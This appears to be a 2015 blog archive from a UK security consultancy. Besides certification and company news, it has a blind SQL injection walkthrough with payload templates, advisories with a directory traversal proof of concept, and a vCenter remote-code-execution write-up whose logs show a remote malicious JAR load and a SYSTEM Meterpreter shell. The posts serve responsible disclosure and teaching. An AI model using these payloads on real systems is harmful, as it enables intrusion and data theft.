Archives for 2015

MoD is backing the Cyber Essentials Scheme

As of the 1st January 2016, all MoD contractors and sub-contractors will now be required to have cyber essentials or cyber essentials plus. It is also important to be aware that this extends to all MoD procurement, suppliers and subcontractors, even if they are not working directly with/for the MoD. For projects starting after 1st January, all suppliers will be required to have the relevant Cyber essentials certificate by the contract start date at the latest and thereafter renewed annually.

Key Points

There are four different risk categories for all MoD projects, very low, low, moderate and high, which have different certification requirements:
  • All contractors and sub-contractors on projects with a very low risk rating are required to have a CE certificate.
  • All contractors and sub-contractors on projects with low, moderate and high risk ratings are required to be CE+ certified (which includes gaining CE as part of the process).

Get in Touch

7 Elements are an accredited certification body for Cyber Essentials, more information on the scheme can be found here. As an independent technical information assurance consultancy, 7 Elements is well suited to assist your organisation in gaining a Cyber Essentials Certification.
As the scheme is designed to be available to all sizes of organisations, our pricing is cost effective.
To discuss your Cyber Essentials needs please contact us.

Chasing another SQL Injection

Firstly, what is SQL injection?

SQL injection occurs where user controlled data is converted into an SQL statement and is executed by the web application’s database server.

What is the threat?

A successful SQL injection attack can lead to the insertion, modification or deletion of database data. SQL injection based attacks can also aid in bypassing authentication and authorisation mechanisms and in certain circumstances result in the ability to review the contents of the entire database server’s databases or gain access to the underlying operating system.

Note – This is solely dependent on the permissions that the SQL statement is executed with. If the execution permissions are limited to read access ONLY, then the impact of such attack would also be limited.

What is Blind SQL injection?

In typical SQL injection, error messages are used to help security testers discover and in some cases retrieve data from a database. In contrast, Blind SQL injection does not rely on error messages and instead must rely on the behaviour of the application, often through subtle control over application time-based responses in order to retrieve data. In essence, Blind SQL injection is the same as Standard SQL injection, except that more thought has to go into identifying a vulnerable instance and understanding the realm of control over the database server.

In Practice

During a recent web application security engagement, 7 Elements found a partial Blind SQL injection vulnerability. We say ‘partial’ as the application returned an error indicating that the SQL statement was invalid and that we were able to interact with the construction of the actual SQL statement executed by the back end database server. However, due to complex parsing and validation routines (both SQL and JSON), queries had to follow a specific set of rules:

  1. The SQL statement had to be valid and could not be terminated or commented.
  2. Bypass JSON input validation routines.
  3. The response had to result in an integer only otherwise parsing the results failed.

This made things much more difficult to exploit, as returning data was going to be difficult. Therefore, the partial Blind references the Blind techniques used to extract data from the database. We would like to point out that automated vulnerability scanning indicated that the server was vulnerable to SQL injection but it also stated it was vulnerable to OS Command Execution, XML Injection and Ruby code execution… it was, sadly, only vulnerable to SQL Injection.

The environment under test was further restrictive as interactions with the application resulted in sporadic response times, meaning that time based responses were not a viable way to infer any true or false statements. Luckily the SQL injection vulnerability was the result of a query that did return data, if data was in the database to be returned (By this we mean an integer of the number of times in the table the data was found).

It was possible to confirm that SQL injection was possible by first utilising two main statements, one being true and the other being false. Therefore by using the following methods we could confirm that we are able to interact with the SQL query using the following syntax:

True Statement

(Username = '7Elements AND 1=1’)

False Statement

(Username = '7Elements AND 1=2’)

The True statement returns data while the False statement returned no data. The response below details two instances of the 7Elements user in the table.


POST /testapp HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5

{"list":"_view","sort":"(Username = ‘7Elements’)"}



When exploiting this particular type of vulnerability there are a few methods to return data. For the most part it results in a large number of requests being sent.

Automation? Sounds good to me

Most security testers will be familiar with SQLMAP, a fantastic tool that automates the exploitation of SQL vulnerabilities. Unfortunately, in this case it was not possible to detect the SQL vulnerability. Even after some fine-tuning, it was still not possible to detect the SQL injection vulnerability. On review of the response to each query, it was obvious that this was due to the parsing rules used within the application. Another few attempts were made to force the correct syntax but unfortunately this still did not work.

We then moved to another common tool, SQLNinja. This time after tweaking the configuration, SQLNinja identified the injection point.

SQLNinja could then be used to identify the database user. It stated the ‘sa’ account as running queries. For anyone who knows databases this is a *high five moment*. SQLNinja then detailed the version as MS-SQL 2005. Thinking we were onto a winner, we tracked the HTTP requests and responses only to see that the tool was using time based responses. The tool sent one query, when the application did not respond in a timely manner, it “inferred” this to be the correct answer. This didn’t look good… some manual verification is definitely required.

Manual Verification

Useful statements to start with when enumerating data in using blind techniques is to understand the length of a parameter that you want to enumerate. This helps understand how many quires should be made to fully enumerate the contents.

To calculate the length of a variable such as @@version we can use the following syntax:

Username = '7Elements' AND (select len(@@version)) > 24)

If this returns True, we can continue to up the number until its not true and then replace the value with a ‘=’ to validate the length.

For anyone that has done this type of injection on MS-SQL should realise that characters 21-24 are the version number. Rather than brute forcing the whole of the @@version variable we can send a minimal number of requests to validate the SQLNinja findings. The following example code details how each character of a variable, table, column or database can be returned. Red highlights the position of the character in the variable, while yellow indicates the value being assessed.


(Username = '7Elements' AND (substring((select @@version),24,1) = '5'))

Unfortunately, this was equal to a false statement, showing that the version is not 2005 as SQLNinja had earlier identified.

Now we can work through common version numbers: 2000, 2005, 2008, 2012, 2014 and 2016. It turns out after further probing the 24th character is a 4. By decrementing the red marker, we can confirm the actual version to be 2014.

This is becoming pretty cool pretty quickly, but it requires a large amount of requests. So some quick thinking… We can now evaluate the length of variables and then systematically work our way through each character to identify its true value.

Possible characters in use, a-zA-Z0-9 and then some punctuation (-,._:;) Again these settings must be chosen based on the parsing rules as discussed earlier.

Some basic math says that the total number of options are (26 + 26 + 10 + 6) = 68. The math for working out the keyspace in this instance is equal to [the total number of possible options] times [the length]. This is because we can query each character in isolation, unlike brute forcing a password – [total number of options] to the power [the length].

It seems to me that without even completing the math we need to get back to some automation.

Burp is a very flexible proxy application with a number of additional security testing modules. The module we will use to automate this is Intruder.

Intruder has a number of options to help with the use of multiple payloads. In this scenario we can make use of Cluster bomb.

Cluster bomb – This uses multiple payload sets. There is a different payload set for each defined position (up to a maximum of 20). The attack iterates through each payload set in turn, so that all permutations of payload combinations are tested. I.e., if there are two payload positions, the attack will place the first payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1; it will then place the second payload from payload set 2 into position 2, and iterate through all the payloads in payload set 1 in position 1.”

Using Burp we will complete some basic enumeration of MS-SQL built in variables: BD_name(), @@version and user_name(). The first thing we want to do is to work out the length of each variable as described earlier. This can be automated but its easier to do manually.

Once we have the length we can set up the Cluster bomb payloads. To do this we will set:

  • Payload 1 (Red Marker) – with the payload set to numbers configured as 1-22 (length of string).
  • Payload 2 (Yellow Marker) – with the payload set of a-Z0-9 and any punctuation selected.

The actual payload line will look like this:

(Username = '7Elements' AND (substring((select @@DB_name()),§Payload-1§,1) = '§Payload-2§'))

As the response contains different content it is possible to filter the response by an expression, that matches a true statement, leaving only good information as per the following screenshot:

Partially Blind SQL

Partially Blind SQL

Using Burp it was very easy and fast to enumerate the three variable below:

DB_name() = sevenelements_dnn_only
@@version = microsoft sqlserver 2014
user_name() = sevenelements_test_user

In Conclusion

It goes without saying that this is just the starting point, but we think it’s a great place to leave this example for now. In a time when SQL injection has again hit the headlines, we can see that automated tools do not exceed the assurance provided by a proper in-depth security engagement. The skills of penetration testers with the capability to validate and manually exploit vulnerable configurations vastly outweighs the cheap and cheerful approach of automated vulnerability scanning.

Mitel CCMWeb OpenRedirect

Advisory Information

Title: Mitel CCMWeb OpenRedirect

Date Published: 

Advisory Summary

The application accepts user input and then on completion of an additional task redirects the user to an external link.



Affected Software

Product Version
MiCC (CcmWeb 7.x and earlier

Description of Issue

A Open Redirect vulnerability was discovered in the MiContact Center version 7.1. This vulnerability was found in the login component of CCMWeb and could be exploited by modifying the ‘redirecturl’ parameter to point to an attacker controlled site. This vulnerability could be used as part of a phishing attack as the domain element will be familiar to the client building trust in the URL. As the site redirection does not happen until the user has authenticated to the site it may be possible to set up credential theft scenarios by cloning the CCMWeb login page.


The following proof of concept redirect the user to after a successful login. This is only a proof of concept and through obfuscation or tiny URL technologies the Google URL could be changed to something miscellaneous.


Reported – 26th January 2015

Accepted – 31st March 2015

Advisory Published – 4th October 2015

Mitel CCMWeb Unauthenticated Local File Inclusion

Advisory Information

Title: Mitel CCMWeb Unauthenticated Local File Inclusion

Date Published: 

Advisory Summary

A lack of input validation allows an attacker to download arbitrary files from the server.



Affected Software

Product Version
MiCC (CcmWeb 7.x and earlier

Description of Issue

A local file inclusion vulnerability was discovered in the MiContact Center version 7.1. This vulnerability was found in the flexreport component of CCMWeb and could be exploited by an unauthenticated user to reveal arbitrary files by utilising directory traversal sequences to download files.


The following proof of concept downloads the Windows host file.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\system32\drivers\etc\hosts


Reported – 26th January 2015

Accepted – 31st March 2015

Advisory Published – 4th October 2015


Aerospace, Defence and Marine (ADM) Industry Leadership Group

7 Elements CEO appointed by the Aerospace, Defence and Marine (ADM)
Industry Leadership Group. The full article can be found here.

ADM Industry Leadership Group

7 Elements CEO appointed by the Aerospace, Defence and Marine (ADM)
Industry Leadership Group

David Stubley, CEO at 7 Elements, a key player in the Scottish information security industry, has been appointed as a new member of the Aerospace, Defence and Marine (ADM) Industry Leadership Group (ILG). The group has expanded its remit to cover Cyber Security as it represents both a significant market opportunity for companies in the sector but also Scotland has a considerable and growing capability in this area. David will bring his years of knowledge and expertise into the group to ensure that the revised 2015 strategy for Aerospace, Defence, Marine and Security (ADMS) fully incorporates this new growth opportunity for Scotland’s economy.

Scottish Enterprise facilitates ILGs, with the groups responsible for developing and delivering forward looking industry strategies. ILG members provide strategic leadership and advice to industry and the public sector in Scotland, drawing on their national and international expertise on global trends and issues and the niche areas where Scotland has global competitiveness. These groups comprise leading business figures drawn from across the private sector as well as senior representatives from the public sector including Scottish Enterprise, Scottish Government and key stakeholders.

The ADMS ILG currently has 18 members from key industrial and academic players in the sector including Vector Aerospace, Selex ES, Thales Optronics, Spirit Aerosystems, BAE Systems, Clyde Marine Group, University of Strathclyde, STUC, Scottish Engineering, Society of Maritime Industries, Inter-Tec Services ltd, British Airways Maintenance Glasgow, Castle Precision Engineering, Beal Group, MacTaggart Scott ltd. 

Mick OConnor, Chairman, of the ADM ILG said;

The need to transmit and store information securely is of paramount importance in today’s business world. There are many high profile examples where data was accessed illegally at both a business and national level. In recognition of the emerging prominence of cyber security we have invited David Stubley to join the Aerospace, Defence and Marine (ADM) Industry Leadership Group (ILG) to provide matter expertise in this area. This appointment will help increase the general awareness of cyber security to business within the ADM community moreover, identify market opportunities for Scottish business.

David Stubley, CEO at 7 Elements, said;

I’m excited to have been appointed to the Industry Leadership Group. The Scottish Aerospace, Defence and Marine sector play a vital role within the national economy and has increasingly become the focus of cyber attacks. Establishing a resilient approach to security will not only reduce the impact of these events, but make Scotland a safer place to do business.

CVE-2015-2342 VMware vCenter Remote Code Execution

Advisory Information

Title: vCenter Java JMX/RMI Remote Code Execution

Date Published: 01/10/2015

CVE: CVE-2015-2342

Advisory Summary

VMware vCenter Server provides a centralised platform for managing your VMware vSphere environments so you can automate and deliver a virtual infrastructure. VMware vCenter was found to bind an unauthenticated JMX/RMI service to the network stack. An attacker with access can abuse the configuration to achieve remote code execution, providing SYSTEM level access to the server.



Affected Software

VMware Product Version Platform
VMware vCenter Server 6.0 Any
VMware vCenter Server 5.5 Any
VMware vCenter Server 5.1 Any
VMware vCenter Server 5.0 Any

Description of Issue

VMware’s vCenter application makes use of Java Virtual Machine (JVM) technology and supports the use of Java Management extensions (JMX), for application and network management and monitoring of the JVM. A JMX agent is setup to allow remote management of the JVM. The JMX agent utilises managed beans ‘MBeans’ to expose configured interfaces to manage predefined configurations. Any objects that are implemented as an MBean and registered with the agent can be managed from outside the agent’s Java virtual machine.

The JMX service was found to be configured insecurely as it does not require authentication, allowing a user to connect and interact with the service. The JMX service allows users to call the “” function, which permits the loading of an MBean from a remote URL. An attacker can set up their remote Web Service to host an MLet (text file) that points to a malicious JAR file. When the JMX service registers the MLet file, the agent will initiate the URL to the remote JAR and execute the methods leading to code execution.

Ref –

Additional Information

Wider exploit development has already been undertaken against other vendors utilising JMX/RMI deployments and therefore, publicly available exploit code already exists that can be used in combination with Metasploit to gain a remote Meterpreter shell as SYSTEM.

Ref –

Ref –

Ref –


For a proof of concept and further discussion, please see our blog on this issue.


Reported – 27th February 2015

Accepted – 21st April 2015

First Fix – 10th September 2015

Retrospective Fix – 1st October 2015

Advisory Published – 1st October 2015

CVE-2015-2342 – Remote Code Execution within VMware vCenter

CVE-2015-2342 – Remote Code Execution within VMware vCenter – ‘All your base are belong to us’


At the beginning of the year 7 Elements identified an unreported vulnerability within VMware’s vCenter product. The vulnerability provided SYSTEM level access to the hosting server and lead to a full compromise of the environment.

Due to the large scale commercial use of VMware products within enterprise level environments, 7 Elements started a long process to responsibly disclose the issue. The issue was first reported on 27th of February 2015 and can now be publicly disclosed with VMware providing fixes in both the latest version of vCenter 6.0 update 1 and updates to all previously affected versions.

Details of our advisory can be found here.

The VMware advisory can be found here.

Technical Detail

As detailed in the advisories above, the vulnerability takes advantage of an insecure deployment of the JMX/RMI service used to manage and monitor the Java Virtual Machine. By exploiting known methods, it is possible to remotely load an MLet file from an attacker controlled web server that points at a jar file. Our good friend Metasploit is really good at creating malicious jar files that result in remote shells. Therefore we have the perfect recipe to exploit the weakness and compromise the target server.

In the latest version the service no longer runs as SYSTEM by default and instead runs as ‘vspherewebclientsvc’. Execution against version 5.5 however, resulted in SYSTEM level access, on a default install.

The attack vector has already been weaponised with two known metasploit modules (12) and a separate exploit, made up of java class files, that when compiled and executed passes a command to the server to be executed (Antivirus Bypass).

Proof of Concept

Identifying the service using the nmap rmi-dumpregistry.nse script shows that the service is remotely available:

root@Whack:/opt/mjet# nmap -sS -p 9875 –script=/usr/share/nmap/scripts/rmi-dumpregistry.nse

Starting Nmap 6.47 ( ) at 2015-04-15 16:56 BST

Nmap scan report for

Host is up (0.00036s latency).


9875/tcp open  java-rmi

| rmi-dumpregistry:

|   jmxrmi


|     @

|     extends

|       java.rmi.server.RemoteStub

|       extends

|_        java.rmi.server.RemoteObject

MAC Address: 00:0C:29:D1:00:30 (VMware)


Attacking the service running on host and TCP Port 9875, while directing the remote URL for the MLET as

root@Whack:/opt/mjet# java -jar mjet.jar -t -p 9875 -u


MJET - Mogwai Security JMX Exploitation Toolkit 0.1



[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi:// ...

[+] Connected: rmi://  16

[+] Trying to create MLet bean...

[+] Loaded

[+] Loading malicious MBean from

[+] Invoking:

[+] Loaded class: metasploit.Metasploit

[+] Loaded MBean Server ID: drmwfzvo:name=NApCjRCB,id=gsKsVVHK

[+] Invoking:

[+] Done


Metasploit Shell


2015-02-24 10:11:44 +0000 S:0 J:3 msf exploit(java_mlet_server) >

[*] Using URL:

[*] Server started.

[*]     java_mlet_server - handling request for /TArDcls4aeQZVWl

[*]     java_mlet_server - handling request for /TArDcls4aeQZVWl/

[*]     java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar

[*]     java_mlet_server - handling request for /W5PqWUoBP/JOqDKhBd.jar

[*] Sending stage (30355 bytes) to

[*] Meterpreter session 1 opened ( -> at 2015-02-24 10:12:32 +0000


2015-02-24 10:14:10 +0000 S:1 J:3 msf exploit(java_mlet_server) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: SYSTEM


VMware have advised customers to upgrade vulnerable versions of vCenter with the following versions:

VMware Product Version Platform Fixed Version
VMware vCenter Server 6.0 Any 6.0 u1
VMware vCenter Server 5.5 Any 5.5 u3
VMware vCenter Server 5.1 Any 5.1 u3b
VMware vCenter Server 5.0 Any 5.0 u3e


As can be seen with the above proof of concept, using already available tools it is a trivial exercise to gain full control over a vulnerable vCenter instance. As such, we would strongly recommend anyone running vCenter to ensure that they have either deployed the latest version from VMware or apply the relevant security patch. On a final note, remember that SYSTEM level access is only the beginning, especially when dealing with a server hosting VMware machines.

Incident Response

As part of the Cyber Academy ‘Cybercrime Investigations & Incident Response Bootcamp’, our CEO David Stubley will be delivering training to UK Law Enforcement. For more information on our approach to incident response, please visit our site.

Cyber Essentials Questionnaire Guidance

Providing relevant and detailed answers along with supporting evidence is key to a successful Cyber Essentials submission. As such we have issued the following cyber essentials questionnaire guidance.

As a recommendation, we would suggest the following approach be used:

1. Use the comments field to provide narrative that supports the statement.

2. Where appropriate, use additional evidence to back up that assertion.

3. Additional evidence should be included within a separate folder and where possible the file name should reference the question to aid in easy navigation.

4. Where a policy statement is used to support an assertion, the policy should be included within the evidence folder. The comments section should clearly reference the exact location of the policy statement and where possible the relevant paragraph should be included. This should then be backed up with evidence of use, such as screenshots.

5. If you do not feel you fully comply with a certain question, then provide a detailed answer as to what the business does have in place and any mitigating reasons as to why it may not be or is not possible/feasible to fully comply with a particular Cyber Essentials requirement.

To illustrate this, we will use question 13 from the questionnaire.

Q: Is a standard build image used to configure new workstations, does this image include the policies and controls and software required to protect the workstation, and is the image kept up to date with corporate policies?

A robust response within the comments filed would be:

A gold build is used to deploy machines within the estate, each machine is built using the most up to date gold build and is then tested to confirm there were no issues during installation. Once this has been completed, the machine is then added to the Active Directory and all relevant GPO’s such as those pertaining to updates, permissions and password policies are applied. At this stage the machine is ready to be introduced to the network for use by an end user. Evidence of this process can be seen in the following screenshots and policy extracts:

IS Policy ‘Section 4, page 2’ “All IT assets will be built using the authorized gold build”.

Screenshot ‘Question13-a’ details a list of authorized software deployed as part of the gold build.

Screenshot ‘Question13-b’ Evidence of the machines within the Active Directory. 


For more information regarding our Cyber Essentials services, please visit the following page.